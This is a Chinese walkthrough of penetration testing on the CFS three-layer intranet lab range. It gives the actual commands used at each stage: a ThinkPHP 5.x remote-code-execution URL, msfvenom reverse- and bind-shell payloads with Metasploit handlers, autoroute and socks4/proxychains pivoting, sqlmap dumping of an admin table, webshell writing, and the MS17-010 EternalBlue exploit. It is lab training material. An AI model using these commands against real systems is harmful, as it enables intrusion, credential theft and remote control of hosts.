参考博客:
CFS三层内网靶场渗透记录【详细指南】 - FreeBuf网络安全行业门户
CFS三层靶机搭建及其内网渗透【附靶场环境】 | TeamsSix
CFS三层网络环境靶场实战 - PANDA墨森 - 博客园 (cnblogs.com)
CFS三层靶机实战--内网横向渗透 - 知乎 (zhihu.com)
CFS靶机实战演练-从外网杀进三层内网,横向渗透拿到Flag-阿里云开发者社区 (aliyun.com)
主机发现
fscan开扫,发现172.25.0.13存活
arget1
端口探测
可以看到Target1存在ftp、ssh、http等端口,且是一个Linux的操作系统。
web渗透
既然存在http服务,那就用浏览器打开看看是个什么
原来是ThinkPHP 5.X框架,直接想到该框架存在远程命令执行漏洞,那就先用POC测试一下
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
成功出现了PHPinfo界面,说明该版本是存在这在漏洞的,接下来就可以直接上工具写入一句话了
直接工具一把梭,getshell
蚁剑直接连上
注意这里是linux的靶机
设置代理
查看自己的IP地址,并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件
root@kali:~# ifconfig
root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf
在kali中配置运行监听模块
root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
通过蚁剑将shell.elf文件上传到Target1中,并赋予777权限以执行
(www:/www/wwwroot/ThinkPHP/public) $ chmod 777 shell.elf
(www:/www/wwwroot/ThinkPHP/public) $ ./shell.elf
然后就是内网渗透了,第一步肯定是要做内网信息收集了:
此时MSF获取到shell,可以通过meterpreter添加第二层的路由
run autoroute -s 192.168.22.0/24
run autoroute -p
这一步也可以使用run post/multi/manage/autoroute自动添加路由
在MSF中添加代理,以便让攻击机访问靶机2,经过多次测试,发现MSF使用socks5代理总是失败,因此这里还是采用了socks4
msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 2222
msf5 auxiliary(server/socks4a) > options
msf5 auxiliary(server/socks4a) > run
修改proxychains-ng的配置文件,这里也可以使用proxychains进行代理,不过前者是后者的升级版,因此这里使用proxychains-ng进行代理
root@kali:~# vim /etc/proxychains.conf
加入以下内容:
socks4 192.168.88.128 2222
尝试扫描靶机2,该步骤如果一直提示超时,可以把MSF退出再重新配置
root@kali:~# proxychains4 nmap -Pn -sT ip
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect
Target2
获取shell
上一步发现存在80端口,因此我们设置好浏览器代理后,打开看看
访问80
端口,看网页源码有惊喜(一个SQL
注入):sqlmap一把梭
proxychains4 sqlmap -u "http://ip/index.php?keyword=1&r=vul" --batch
# 爆破bagecms库下的bage_admin表
proxychains4 sqlmap -u "http://ip/index.php?keyword=1&r=vul" -D "bagecms" -T "bage_admin" --dump --batch
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了
密码MD5
解开,结果是123qwe
,还找到一个flag
。然后得找找后台,一波信息收集得知这个CMS
是根据参数作路由的,并根据robots.txt
的提示可以发现后台地址http://192.168.22.129/index.php?r=admini/public/login
,登录可以发现第二个flag
。
登陆后台,看看有哪些功能
后台里面有文件上传的地方,有编辑主页文件的地方,为了方便,我们直接把一句话写入网站文件中。模板修改文件,写入一句话也可
蚁剑连接:
设置代理
然后生成后门,用蚁剑传到/tmp
目录下:
# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3210 -f elf > horse2.elf
# 文件上传之后在Webshell执行命令
chmod +x horse2.elf
./horse2.elf
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3210
exploit
run post/multi/manage/autoroute
与之前一样,我们可以添加Target3的路由,这里就不用设置代理了,直接添加路由即可
run autoroute -s 192.168.33.0/24
run autoroute -p
尝试扫描Target3
proxychains4 nmap -Pn -sT 192.168.33.33
Target3
获取shell
从扫描的结果来看,不难看出这是一个开放着445、3389端口的Windows系统,那就先用永恒之蓝攻击试试
msf5 > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.33
msf5 exploit(windows/smb/ms17_010_psexec) > options
msf5 exploit(windows/smb/ms17_010_psexec) > run
成功拿到shell
: